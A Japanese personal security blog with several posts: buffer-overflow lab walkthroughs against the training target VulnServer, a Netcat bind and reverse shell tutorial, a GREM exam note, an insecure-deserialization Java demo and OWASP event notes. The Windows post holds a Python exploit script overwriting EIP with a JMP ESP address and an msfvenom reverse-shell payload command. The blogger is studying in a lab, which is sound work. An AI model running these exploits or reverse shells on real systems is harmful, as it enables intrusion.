速習・ペンテスト(Linux BOF)

前回の続き。「Windowsだけではなく、Linux でもやってみよう」 という問題。やり方は、おおむね前回と同様で、しかもうまくいったので、メモは少しだけにする。

使ったデバッガは、もちろん異なる。Kali Linux には、edb-debugger という GUI のデバッガが同梱されているので、これを使った。


まずは、文字 "A"(0x41)の数を、少しずつ増やして送り込み、サーバをクラッシュさせる。



次に、一定のパターンを持った文字列を生成して、そのデータを投入する。これにより、EIP に格納された値が、「生成したパターンの、どこに含まれているのか」 について調べることができる。
これで、下の図の 1 のデータを投入することで、EIP にピンポイントで "BBBB" を格納することに成功する。簡単ではあるが、EIP の制御は、攻略できた(さらに、EAX および ESP のアドレスに格納される値も、自由に変更できた)。
この問題で少し面倒だったのは 2 つ。(1) EAX が指すデータの先頭に、必ず 「XXXXXXXXXXX 」 がくっついてくること、(2) 文字列 「C」 が 7 文字しかなく、シェルコードが格納しにくいこと。



そこで、プログラムの実行の流れを強制的に変えて、「AAAA … 」 の箇所に、シェルコードを投入することを検討する。
まずは、プログラムの中から JMP ESP を探す。JMP ESP の実行が制御できると、自分の好きなタイミングで、ESP に格納されているアドレスに、ジャンプできるからだ。すでに、EIP は制御できる。なので、「BBBB」 の箇所(つまり EIP の値を上書きする箇所)を、JMP ESP があるアドレスに書き換えることで、プログラムの流れを変えることができる。プログラムの制御は、命令 JMP ESP の箇所にとばされて、この命令が実行されることで、すかさず ESP が指すアドレス(つまり 「CCCCCCC」 の箇所)にジャンプする。


ちょっとだけ工夫が必要なのは、その後、「AAAA … 」 の箇所に制御を移すところ。といっても、EAX から 「XXXXXXXXXXX [space](12 バイト)」 先へジャンプすればよいだけ。つまり、「CCCCCCC」 の箇所で、ADD EAX, 0Ch して、JMP EAX すればよい。
これらの命令のバイト列を 「CCCCCCC」 の箇所に書き込んでおくことで、目的地へのジャンプが実現できる(余ったところには、何もしない命令 NOP を入れて、つじつまを合わせておく)。

こんなもん。

速習・ペンテスト(Windows BOF)

「Lab 内で、VulnServer(実行ファイルは VulnServer.exe)が起動している Windows マシンを攻撃し、バックドアを仕込んでください」 という問題を解いている。CTF の問題ではない。初学者向けの学習用につくられた教材を使っている。このため、VulnServer は、あえて、OS のセキュリティ機構を使っていない。高度な技術を知らなくても、バッファオーバフローの脆弱性を利用して、古典的な方法(リターンアドレスの書きかえ + JMP ESP)を用い、プログラムの制御を奪う方法を理解できるようになっている*1
このような、易しいはずの問題なのだが、現状、うまくいっていない。とりあえず、できたところまでをメモしておく。
なお、VulnServer.exe という、よくわからないサービスを提供するだろう実行ファイルは、手元にあるという想定。


まずは、VulnServer.exe が、どんなプログラムなのか知りたい。手元の Windows 7 の環境で実行し、netstat で見てみると、TCP ポート 5555 をバインドし、サーバプロセスとして動作している。とりあえず、LinuxKali Linux を使った)から、Netcat で接続してみる。

  nc -nv xx.xx.xx.xx 5555
  (UNKNOWN) [xx.xx.xx.xx] 5555 (?) open
  >Hello There.

OK。プロンプトが返ってくる。
この後、プロンプトで、適当にコマンドを打ってみるものの、エラーばかりが返ってきて、いっこうに先に進まず。BinText で、文字列を抽出してみるも、どれがコマンドかについて、判断できず。
仕方がないので、いきなり IDA Pro を使った。さすがは IDA。コマンドを打った時の分岐を、キレイに描画してくれた。とりあえず、LOGIN/FILE/EXIT のコマンドを使って、ファイルのやり取りをするようなプログラムに見える。strcpy を使いまくっているので、この部分が、バッファオーバフローに脆弱なのだろう。


ここから、EIP を制御できる(好きな値を格納できる)ようになるまでを、なんとなく絵にしてみた。


とりあえず、EXIT コマンドで、コネクションを切断できることがわかったので、様々なサイズの値を投入してみる。クラッシュ時の様子を見たいので、まずは、VulnServer.exe を起動して、デバッガ(今回は、Immunity Debugger を使った)をアタッチする。アタッチ直後はポーズするので、実行ボタンを押下して動作させておく。
その上で、お約束通り(?)、文字 "A"(0x41)の数を、少しずつ増やして送り込む。LOGIN コマンドの引数のユーザ名と、FILE コマンドの引数のファイル名があやしいので、さっそく試してみた。いずれも、7,000 〜 8,000 バイト程度でクラッシュするのだが、EIP の値に変化はない。いきなりハマる。えいやで、存在しないコマンド(例えば、"XXXX")を試してみると、1,300 バイトあたりでクラッシュし、EIP の値も、"A"(0x41)で埋まっていた。これだ。
EIP の値を、ほぼほぼ制御できることがわかった。これで終わってもよいのだが、演習なので、ちゃんと最後までやりきる。


さて、こうなると、次は、入力のうち、どの部分が、EIP に格納されるのかについて知りたい。そこで、一定のパターンを持ったの文字列を生成する。便利なツールがいくつかあるので、その 1 つを利用する。次のコマンドで、1300 バイトのパターンを生成する。

  /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1300


このパターンの文字列を送りこんだところ、EIP には、"37694236" という値が入った。今度は、この "37694236" が、生成したパターンの、どこに含まれているのか知りたい。こちらも便利なツールがあるので、それを使う。

  /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1300 -q 37694236
  [*] Exact match at offset 1040


これで、入力のうち、1040 バイト目から 4 バイトが、EIP の値として格納されるとわかった。とすると、コマンド XXXX の引数として、次の文字列を送りこんでやれば、EIP にピンポイントで "BBBB" が格納されることになる。

  "A"*1040 + "B"*4 + "C"*(1300 - 1040 - 4)

この文字列を投入したところ、予想通り、EIP だけが "BBBB"("42424242")になった。そして、ESP の指す先が、"CCCC …" になった。
大成功。これで、ほぼほぼ準備は整った。


一応、コマンドの実行の際に、使うことができない文字がないか探してみる。これまでの "C"*(1300 - 1040 - 4) にかえて、次のような文字列を試してみる。

badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20""\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

デバッガの、ESP の値を右クリックして、そのアドレスから先のデータを、デバッガにダンプしてみる。すると、上記の全ての値が、キレイに出力されていた。ということで、"0x00" 以外の文字は、問題なさそう("0x0A", "0x0D" も平気っぽい)。


もう一息。

あとは、クラッシュ時の EIP のアドレスを、ESP のアドレスに指定できればよい。こうなれば、ESP の指す先("CCCC …" の箇所)に、シェルコードを配置しておくことで、このシェルコードを実行することができる。
しかし、ESP のアドレスは、プログラムを起動するたびに異なる値となる。これでは、エクスプロイトが安定しない。そこで、再起動しても固定となるアドレスを探す必要がある。
これには、mona.py を用いた。Immunity Debugger の下にあるプロンプトに、!mona modules と入力して実行する。すると、次のような画面が出力される。


VulnServer.exe は、rebase、safeSEH、ASLR、NXCompat の項目が、いずれも False になっている。OS のセキュリティ機構が、機能していないことがわかる。プログラムがバッファオーバフローに弱くなるよう、わざわざ、コンパイルオプションを指定したのだろう。細かいことは、よくわからないが、rebase と ASLR が False なので、この exe ファイルは、リブートしても、同じアドレスに読み込まれるのだと思う。残りの 2 つは、よくわからない*2


いよいよ、上記 『クラッシュ時の EIP のアドレスを、ESP のアドレスに指定できればよい』 の実現へ。お約束の JMP ESP を探す。
デバッガにおいて、「JMP ESP」、「CALL ESP」、「PUSH ESP、からの RTRN」などの命令を検索するも、ヒットしない。これは、日常茶飯事のようなので、バイナリで検索をかける。ニーモニックをバイナリの 16 進数表示に変換してくれる便利なツールがあるので、それを使う。

  /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
  nasm > jmp esp
  00000000  FFE4              jmp esp

これで、JMP ESP は、FFE4 だとわかる。
このプログラム VulnServer.exe は、DLL はなく exe のみなので、あとは JMP ESP が含まれていることを祈るだけ(mona お願い、見つけて)。

  !mona find -s "\xff\xe4" -m VulnServer.exe

と、アドレス 65D11D71 に、1 件だけひっかかった。ぎりぎりセーフ。これで、完全に準備完了。次のスクリプトを流してみる。

#!/usr/bin/python
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer = "A" * 1040 + "\x71\x1d\xd1\x65" + "C" * (1300 - 1040 - 4)

try:
    print "\nSending evil buffer..."

    s.connect(('xx.xx.xx.xx',5555))
    data = s.recv(1024)
    s.send('XXXX ' + buffer + '\r\n')

    print "\nDone!."
except:
    print "Could not connect to VulnServer!"


デバッガ上では、こんな感じ↓になった。もう満足。


最後に、ツールを使って、シェルコードを作成する。ここは、おもいっきりサボる。"CCCC …" のかわりに、出力されたシェルコードを埋めこめば、完成。

  msfvenom -p windows/shell_reverse_tcp LHOST=xx.xx.xx.xx -f c -e x86/shikata_ga_nai -b "\x00"


というはずだったのだが。どこかのタイミングで、EIP に "65D11D71" を入れることができなくなってしまった。"BBBB" の箇所に "65D11D71" を入れると、なぜか、"CCCC …" の後ろのアドレスが、EIP に設定されてしまうようになった。

"65D11D72" 以上の値だと、うまくいく。また、"65D11D6x" 以下の値でも、うまくいく。
OS の再起動なども行ってみたが、状況は変わらず。一体、何が問題なのかわからず、行き詰ってしまった。。
後日、再挑戦。

*1:というわけで、最近の Windows アプリケーションには、まったく通用しませんので、悪しからず。

*2:safeSEH は、ソフトウェア DEP に関係していそう。NXCompat は、ハードウェア DEP に関係していそう。とりあえず、調査は後回し(にしているから、中途半端な学習ばかりになるんだろうなぁ)。

速習・ペンテスト(Netcat)

仕事で「情報セキュリティ」に携わることになって、1 年が経とうとしている。最低限の知識は持っておこうと、少しずつ勉強してきた。今は、ペンテスト(ペネトレーションテスト)に関連する技術を新しくしておこうと、Kali Linux をいじくっている*1
まずは、復習がてら、Netcat をさわってみた。

Netcat は、ネットワークに関する様々なことを簡単に実現できる、すごく便利なツール。ただし、「攻撃用のツール」とみなされ、ウイルス対策ソフトが反応してしまう可能性がある。このため、インストールや利用方法には、慎重になる必要がある*2
「攻撃用のツール」とみなされるということは、攻撃に使えうるということ。間違っても、自分の管理下にある環境以外に、アクセスしてはならない


さて、本題にうつる。まず、Netcat は、サーバにもなれるし、クライアントにもなれる。それも、とても短いコマンドを打つだけで。また、この (1) と (2) を、異なる PC で実行することにより、PC 間で、チャット(みたいなこと)をすることもできる。

    # (1) TCP ポート 8008 でリッスンする(サーバ)
    nc  -nlvp  8008

    # (2) TCP ポート 8008 に接続する(クライアント)
    nc  -nv  10.0.0.10  8008


同様にして、ファイルの送受信を行うこともできる。

    # (3) ファイルを file_name_b というファイル名で受信する(サーバ)
    nc  -nlvp  8008  >  file_name_b

    # (4) ファイル file_name_a を送信する(クライアント)
    nc  -nv  10.0.0.10  8008  <  /usr/share/file_name_a

ここまでは、序の口。


こんなこともできる。左の PC は Linux(IP アドレス:10.0.0.11)で、花子さんが使っているとする。右の PC は Windows(IP アドレス:10.0.0.10)で、太郎さんが使っているとする。まず、太郎さんの PC で、TCP ポート 8080 をバインドしたサーバを起動する。その際、サーバ側で、TCP ポート 8080 に接続した後、コマンドプロンプト(cmd.exe)を実行するように設定しておく。-e オプション*3 で紐づける。これによって、花子さんが、太郎さんのサーバに接続すると、太郎さんの PC のコマンドプロンプトが実行され、花子さんは、コマンドプロンプトを、自由に操作することができる。


逆に、こんなこともできる。クライアント側である花子さんが、サーバに接続後、シェル(bash)を起動するように設定し、サーバにアクセスする。やはり、-e オプションで、シェルを紐づけておく。こうすることで、今度は、花子さんがサーバに接続した後にシェルが起動し、サーバ側である太郎さんが、花子さんのシェルを自由に操作できるようになる。


これが、バックドアを作成するときによく使われる「リバースシェル(Reverse Shell)*4」という方法。なぜ、こんな方法をとるのか?
それは、次の絵を見ていただければ、わかると思う。リバースシェルを使うと、正面突破に比べ、ファイアウォールをすり抜けやすいからだ。


バックドアを仕込む方法として、すぐに思いつくシナリオは、「攻撃者が、標的の PC に侵入したら、標的の PC に小さなサーバ(バックドア)を起動しておいて、そこに対して、攻撃者がアクセスする」というものだと思う。しかし、これでは、攻撃者のアクセスが、ファイアウォールによって、はじかれてしまう可能性が高い。外から内へのアクセス(インバウンド)は、内から外へのアクセス(アウトバウンド)に比べ、制限が厳しくなっていることが多いからだ。


*                *                *


本エントリでは、Netcat の機能を紹介した。「リバースシェル」の「コマンド」だけメモしておくつもりが、少し膨らんでしまった*5。まぁ、そんなときもある。昨年は、社内ブログばかり書いていて、こっちのブロブを全然更新できなかった。なので、書けるときに書いておこう。
しかし、Netcat についても、「リバースシェル」についても、驚くほどたくさんの情報がある。高い倫理観を持ち、どのような状況になっても悪用しないよう、律していきたい。

*1:今のところ、感覚的には、使うツールや技術は、以前とそんなに変わっていない印象。

*2:仕事で、社内向けに「ネットワーク研修(すごく基礎的な内容)」を実施することがある。Netcat を使いたかったのだが、ウイルス対策ソフトが反応してしまうため、断念した。なお、同じ環境で、Wireshark は問題なく動いている。なので、パケットキャプチャをがっつりやってもらうことにした。

*3:マニュアルには、"program to exec after connect [dangerous!!]" と、のっている。確かに、おっかない。

*4:他にも、「コネクトバック」や「コールバック」などと呼ばれるらしい。

*5:絵を描きだすと、楽しくて止まらないようだw

GREM をとった

久しぶりに資格を取得した。資格については色々と思うところがあるが、試験に合格すると、うれしいものだ。悪くない。


しかし、苦しい 2 時間だった。制限時間も正答率も、ギリギリセーフで、「なんとかっ!」 という感じだった。
模試で 8 割くらいとれていたから、「大丈夫だろう」 と高をくくっていたのが甘かった。本番特有の緊張感もあり、模試よりも問題文が長く、難易度が高く感じた。
あぶないところだった。心臓に悪い。


あ゛、何の資格かと言うと、GREM(GIAC Reverse Engineering Malware)という、マルウェア解析の(入門的な)資格。


SANS(サンズ) という、セキュリティ分野に特化した教育を行う組織(米国)、そして SANS が運営している GIAC(ジアック) という認定試験は、日本でも、そこそこ有名だと思う。


ちなみに、SANS と同様、米国で有名な EC-Council のトレーニングも、日本で開催し始めた模様。中でも、特に知名度の高いコース&認定資格が、CEH(Certified Ethical Hacker) で、日本語の試験を含め、すでにローンチされている。今後は、こちらの日本での知名度も、上がってくるかもしれない。


さて、話を GREM に戻す。GREM が、どんな試験なのか、ざっくりメモしておく。子細については、公式サイトに上がっている程度のことしか書けないけど。


試験は、出題数 75 問、制限時間 2 時間の択一試験(だいたい 4 択)。約 7 割以上の正答率で、合格となる。資格試験に対応したトレーニングを受講した人は、トレーニングで使ったテキストを持ち込むことができる(ただ、試験中に参照する余裕はないw)。
なお、試験は、日本語には対応していない。残念ながら、全て英語。もっとも、マルウェア解析の文脈のみなので(使われる単語も限られているし)、英語があまり得意でなくても(TOEIC で 500 〜 600 点程度でも)、大きな問題はないと思う。


試験で、具体的に何が問われるのかについては、対応するコースの概要を見るとわかる。


コース名の 「Malware Analysis Tools and Techniques」 という名前からわかる通り、ツールを用いた解析のテクニックが、出題の中心となっている。具体的には、次のような内容が問われたという印象。

  • マルウェアの挙動を明らかにするために、どのような解析ツールがあるか
  • それは、どのような機能を持ち、どのようなときに使えばよいか
  • そのツールを使った結果、何がわかるか。そして、次に何をすべきか


上記のサイトの 「Course Syllabus」 を見ると、具体的なツールの名称(例えば、Process Monitor、Regshot、IDA Pro、Fiddler、Scylla、Volatility など)や、どのようなマルウェア(例えば、Day 5 の、SEH および TLS コールバックを含むコード誤検出手法を用いるマルウェア)を解析するのか、よくわかる。

他方、ここには書かれていない、例えば、Windows プログラムの仕組みの理解(PE ヘッダの構造など)や、複雑なアセンブラの読み書きなどは、おそらく問われないと思う。

もう少し傾向をつかみたいのであれば、模試が用意されているので、受けてみるとよい。オンラインの模試にしては、少々値が張るが、、まぁ仕方がない。


*                *                *


GIAC には、驚くほど、たくさんの種類のセキュリティの資格が用意されている。トレーニングにも試験にも、お金と時間が 「たっぷり」 かかるが、、セキュリティ技術に関するトレーニングは貴重なので、スキルアップの選択肢の 1 つとして、頭の片隅においておきたい。

安全でないデシリアライゼーション?

安全でないデシリアライゼーション(Insecure Deserialization)?
なんと初耳。「OWASP Top 10 - 2017 」で、初めて聞いた。もっと言うと、「OWASP Top 10 2017 日本語版」で、初めて聞いた。しかし、日本語版のリリースは、本当にありがたい。英語には、果敢にチャレンジしているものの、情けないことに、なかなか前に進まない。

そして、さらにありがたいことに、徳丸浩先生が、本脆弱性の入門記事「安全でないデシリアライゼーション(Insecure Deserialization) 入門」を書かれていた。自分は、情報収集の能力が低い上に、収集に十分に時間もかけられておらず、いつも情報不足に陥っている。このため、「徳丸浩の日記」には、いつも、本当に、お世話になっている。


とりあえず、原理だけでも頭に叩き込んでおく。
自分の理解が正しければ、原理は難しくない。というか、とても易しい。「リクエストに、シリアライズされたデータが含まれていて、それをサーバ側で(ノーチェックで)デシリアライズして処理を実行していたら?」まずいに決まっている。この典型例が、「安全でないデシリアライゼーション(Insecure Deserialization) 入門」の『脆弱なプログラム(1)』。つまり、『オブジェクトをシリアライズしてクッキー経由で引き渡ししている』ケース。


早速、Foo オブジェクトと Bar オブジェクトを作って、試してみる*1

さて、Java で書こうとすると、おそらく、init メソッドを持った抽象クラス(またはインターフェース)が必要となる。ちょっと 上記の記事 と名前のつけ方が変わってしまうが、この抽象クラスを Baz という名前にした(もちろん、Serializable をインプリする)。

abstract class Baz implements Serializable {
    abstract void init();
}

class Foo extends Baz {
    void init() { System.out.println("Foo#init"); }
}

class Bar extends Baz {
    void init() { System.out.println("Bar#init"); }
}


そして、次のような流れにする。

  • まず、/Deserialization/s にアクセスする
  • 次に、/Deserialization/d にアクセスする


Foo が、一般ユーザに相当するオブジェクト、Bar が、管理ユーザに相当するオブジェクトと考えると、えっと、Foo#init が、一般ユーザ権限で実行する処理で、Bar#init が、管理者権限で実行する処理、みたいに考えると、セキュリティっぽくなる。


サーブレットを書く前に、シリアライズとデシリアライズを実行する、お手軽な関数を用意しておく。こんな感じでよいと思うのだが。

class SimpleSerializer {

    static String serialize(Serializable object) throws IOException {

        try (ByteArrayOutputStream bos = new ByteArrayOutputStream();
                ObjectOutputStream oos = new ObjectOutputStream(bos);) {

            oos.writeObject(object);

            return DatatypeConverter.printHexBinary(bos.toByteArray());
        }
    }

    static Serializable deserialize(String hexString)
        throws IOException, ClassNotFoundException {

        try (ObjectInputStream ois = new ObjectInputStream(
                new ByteArrayInputStream(
                        DatatypeConverter.parseHexBinary(hexString)));) {

            return (Serializable) ois.readObject();
        }
    }
}


いよいよ、サーブレット。まずは、SerializeServlet クラスから。

@WebServlet(name = "SerializeServlet", urlPatterns = {"/s"})
public class SerializeServlet extends HttpServlet {

    @Override
    public void doGet(HttpServletRequest req, HttpServletResponse res)
        throws ServletException, IOException {

        res.addCookie(new Cookie("FOO", SimpleSerializer.serialize(new Foo())));
        // ...
    }
}


同様に、DeserializeServlet クラス。

@WebServlet(name = "DeserializeServlet", urlPatterns = {"/d"})
public class DeserializeServlet extends HttpServlet {

    @Override
    public void doGet(HttpServletRequest req, HttpServletResponse res)
        throws ServletException, IOException {

        String serialized = "";

        for (Cookie c : req.getCookies()) {
            if (c.getName().equals("FOO")) {
                serialized = c.getValue();
                break;
            }
        }
        if (serialized.isEmpty()) return; // TODO

        try {
            ((Baz) SimpleSerializer.deserialize(serialized)).init();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        }
        // ...
    }
}

これで、一応、正常系は動作する。/Deserialization/d へのリクエスト中、Cookie ヘッダ中の FOO の値を、Bar をシリアライズしたデータに書きかえて送信すると、サーバ側では、Bar#init を実行してくれる。


そりゃそうだ。シリアライズして、デシリアライズしただけだから。久しぶりのブログだというのに、一体、何をやっているのだか。

*1:比較的使い慣れた Java で試すことにする。恥ずかしながら、事情があって、何年もプログラミングをしていない。おかしな箇所があったら、ご指摘いただけるとありがたい。

もろもろ

参加

SANS Tokyo Autumn 2017 に参加してきた。
完全に、清水の舞台から飛び降りた。終盤は、ついていけなくって、失禁しそうだった。

退会

早くも、セキュ塾ホワイトハッカー育成コースを退会した。さすがに、手が回らなくなった。

選挙

初めて期日前に投票した。すごく混んでいた。少なくとも、投票数の下一桁は、変えられた。

2017 OWASP World Tour Tokyo

久しぶりの Web。周回遅れになっているので、情報収集のために参加した。思っていたのとは、ちょっと違った*1が、参加してよかった。充実した 1 日になった。

後日、参照できるよう、最低限のメモを残しておく。

Opening "OWASP Project Overview for Developers"

紹介していただいたプロジェクトは、いずれも FLAGSHIP であったが、ほとんどが知らないプロジェクトだった。
https://speakerdeck.com/owaspjapan/owt2017jp-owasp-project-overview-for-developers

Training 1 "OWASP TOP 10 を用いた脆弱性対応"

恥ずかしいことに、「Proactive Controls」すら知らなかった。話の流れからして、「TOP 10」とのマッピングは、誰もやっていなかったのだろう。
印象に残ったのは、「ソースコード静的解析では、アクセス制御、認可制御など、機能仕様に関係する脆弱性は検出できない」旨。これは、以前から言われていることであるし、静的解析ツールの原理を考えても、できなさそうだ。だが、今回は説得力があった。資料 35 ページ目の右下にしれっと書かれているのだが、静的解析ツールが「コベリティ」だったからだ(最近では、オージス総研さんのソリューションにも加わっている)。一流の開発者であっても、似たような悩みをかかえているのかも。
https://speakerdeck.com/owaspjapan/owt2017jp-owasp-top10

Training 2 "最小権限の具体的な実現方法"

「具体的な実現方法」についてのプレゼンを初めて聞いた。「最小権限は、セキュリティの原理原則である」という一方で、「最小権限の設計や実装は、業務要件次第」と言って、具体的なやり方を一切語らない。そんなコンサルタントなら、自分にだってできる。このセッションは、そこを一歩踏み出し、「Web アプリケーションにおける最小権限の設計のガイドライン」となっている。

前のセッションでも話があったように、権限設計や、アクセス制御の問題は、業務要件次第であるため、コレといった決定的な解決策を提示しにくい。
悪いことに、アクセス制御の設計を、画面中心で行っている案件は少なくないだろう。それは、画面設計書(あるいは、UI 部分のみを実装したモック)が、プロダクトオーナーとの最良のコミュニケーションツールだからではないか(特に、業務要件を整理するときは、確かに便利)。最も頻繁に更新され、最も信頼できるドキュメントなどになるため、どうしても画面が中心になってしまうのではないかと。こういう人たちに、「ローカルプロキシ」を使ってもらいたい。一発で目が覚めるから。
本セッションでも、画面はただの UI で、リスクアセスメントと同様、情報やデータを起点に設計してほしい旨が述べられていた。その通りだと思う。

こんな状態で、ペネトレーションテストを実施すると、やはり、アクセス制御の問題が挙がってくるようだ。一般には、危険度が高いと評価されるため、脆弱なアプリケーションだとお墨付きをいただける。これは恥ずかしい。
残念ながら、アクセス制御の問題は、後付けが困難である。全ての処理をインターセプトし、権限表に従って、権限の有無をチェックするようにしなければならないからだ。そんな仕組みが全くないところに?
となると、プログラム中にハードコーディングする対策がとられたりして、収拾がつかなくなる。
こうであっても、「たまたま権限設計がシンプルだった」という奇跡に救われることもある。そうすると、同じ設計の仕方を横展開されてしまうのではないかと、夜も眠れなくなる。ウソ。ぐっすり。
と、いくらでも書けてしまうので、そろそろやめよう。
正直、自分の中では、インジェクション系は、どうでもいい。はっきり言って、インジェクション系の脆弱性は、作り込みにくい。SQLi とか、見たことない。たとえあったとしても、比較的簡単につぶせる(対、アクセス制御)。
https://speakerdeck.com/owaspjapan/owt2017jp-least-privilege

Training 3 "開発者・運用担当者に向けた、OWASP ZAP を用いた脆弱性診断手法"

開発者、受け入れ担当者、運用担当者などに向けた発表というところが、本当に素晴らしいと思う。何年も、モノをつくっている人たちにアプローチする姿勢には、頭が下がる。

自分も、開発をしている人に(保守・運用の要員までは考えていなかった)、どんな形でもよいから、広く 「ローカルプロキシ」 を使ってもらおうとしている。なぜか。HTTP のリクエストは、「いつでも何でも送れる」 ということをわかってほしいから。好きなタイミングで送信できるし、好きな内容で送信できるということを、体で理解してほしいから。そうなれば、変な設計しないでしょ。上記の最小権限とかアクセス制御とか、まじめに考えるでしょ。こと設計においては、ガイドや規約が、なかなか役に立たない。体に叩き込むのが早そうでしょ。

で、ローカルプロキシは、シンプルなツールだし、うったえる内容も 「いつでも何でも」 だけだし。簡単に浸透していくと思っていた。のだが、これが意外に進まない。

ローカルプロキシを、本当に使ってほしい人、例えば、設計のレビューする人だったり、テストの計画を作る人だったりするのだが、こういうエライ人たちは、構築した Web アプリケーションを実際に動かすことが、ほとんどなかったりする。なぜか。自分の経験的には、そういうエライ人は、だいたいまわっていない。てんてこ舞いしている。調整。

ドキュメント作っても、読んでもらえない。トレーニング立ち上げても、受講してもらえない。完全に、読みが甘かった。

もちろん、色々なチャネルでアプローチをしていて、一部の若手には、使ってもらい出している。草の根的な活動も大事だと思っているので、これはこれで続けていこうと思う。
とはいっても、やはり、前述した人たちにアプローチするのが手っ取り早いし、そうできないのがもどかしい。もう少し、頭を使いマス。

で、OWASP ZAP の話。OWASP ZAP のスキャナも、ゴリゴリ開発している人に使ってもらいたい。ということで、組織内に展開するために、OWASP ZAP を色々動かしていたときのこと。あるプラグイン(Alpha)を追加したら、ウイルス対策ソフトが吠えた。これが、変な跳ね方をして、しばらく、おとなしくすることになってしまった。これも、完全に想定外。

改めて、何年も、モノをつくっている人たちにアプローチする姿勢には、頭が下がる。
https://speakerdeck.com/owaspjapan/owt2017jp-owaspzap

Training 4 "OWASP BWA を用いた学生および職員向けトレーニング"

自分も、組織内で、Web アプリケーションのセキュリティに関するトレーニングを立ち上げ、実施している。立ち上がったのは、10 年くらい前だが。
そういえば、トレーニングを立ち上げた話って、初めて聞いた。確かに、民間の人では、語りにくい。

他の仕事をかかえていて、2 週間程度で演習を作り上げたという話があったが、えっと、5 時間/日 × 14 日 = 70 時間。うん。とうていムリ。
自分の場合、企画した当初は、定時後にしか作業できなかったし、やられサイトも自作したということもあったが、たった 2 日間のコンテンツをつくるのに、半年近くかかった。満足いくクォリティになったが、やりすぎなのかもしれない。

XSS を 「分解して」 教えるところは、「なるほど」 と思った。自分のアプローチとは違ったが、前提知識を小出しにして積み上げていくという点は、一致していた。確かに、トレーニングを作成すると、こういうノウハウは蓄積する。ここらあたりの話は、心の中で、ウンウンと頷きながら聞いていた。

最後に、職員向けに、1.5 時間/週 でゆっくりやったという話だったが、コンテンツをどうやって分割したのか、受講者が前回の学習内容を覚えているものなのか、あたりも知りたかった。
https://speakerdeck.com/owaspjapan/owt2017jp-owasp-bwa

"開発プロジェクトの現状を把握する OWASP SAMM の活用"

TODO: 後で書く → 2017/10/10 ようやく書いた。途中までだが。
最後にキタ。
悲しいかな、「OWASP SAMM」を知らなかった。そんな自分には、最も有益な情報となった。

セッションの前半では、OWASP SAMM の骨子を、丁寧に解説いただいた。4 つのビジネス機能、ビジネス機能ごとに 3 つのセキュリティ対策、初めて聞く整理に驚いた。と同時に、コレは使えると思った(たとえ、教科書通りに使えないとしても)。また、各対策で活用できる OWASP の成果物が取り上げられていた。ほとんど知らない成果物であったため、たくさんの情報がいただけた。

セッションの後半では、具体的な活用事例が語られた。さすがに時間が短く(+ 大部分が社外秘の情報だろうから)、あまり細かいことはわからなかった。しかし、「アドバイス集の作成」や「タイムリーな情報提供」からスモールスタートするとよいなど、ノウハウも語られた。

すごく感じたのは、自分が所属している組織と比べて、「現場との連携が強い」ということ。一定のガバナンスが機能しているということ。
プロジェクトの開始から終了まで、一定の粒度で状況を把握することは、簡単にできることではない。プロジェクトの開始を確実にフックすることも大変だし、プロジェクトの途中経過を適宜知ることも、また大変*2

もとい。JPCERT/CC が、1.0 版を翻訳してくれているとのことで、さっそくダウンロードしてみた。
https://www.jpcert.or.jp/research/2010/SAMM_20100407.pdf

TODO: もう、ぐだぐだだ。もう少しだけ書きたい。

https://speakerdeck.com/owaspjapan/owt2017jp-owasp-samm

Closing "The shift left path"

SHIFT LEFT。言葉は違えど、昔から、そう言われていたような気がする。まだまだ実現できていない、ということなのだろう。
TODO: 後で書く
https://speakerdeck.com/owaspjapan/owt2017jp-the-shift-left-path


「被害者を産むようなアプリケーションを、システムを、世にリリースしてはならない」と思っている(だろう)人がたくさんいて、勝手に励まされた。


最後に。
今回、これだけのイベントを開催していただいたのだが、なんと参加費用は 0 円。無償だった。> 主催者のみなさま、講師のみなさま、ありがとうございました。
また、非常によい環境で、気持ちよく受講できた。> サテライト TOKYO-C 会場のスタッフのみなさま、ありがとうございました。

*1:「BOOTCAMP」 でも、「トレーニング」 でもないような気がした。

*2:こういう取り組みは開発現場の理解が不可欠だと思う。しかし、それを取りつけるのは、なかなかハードルが高い。トップダウンで降ろしてもらうには、まだ、体力が足りない。ボトムアップで、できるだけ現場の負担にならないように、「打ち合わせ時間を短くする」や「現場で対応しなければならない箇所を減らす」など、工夫をしてはいる。が、まだうまく機能はしていない(ボスのおかげで、少しずつは成果が出ている)。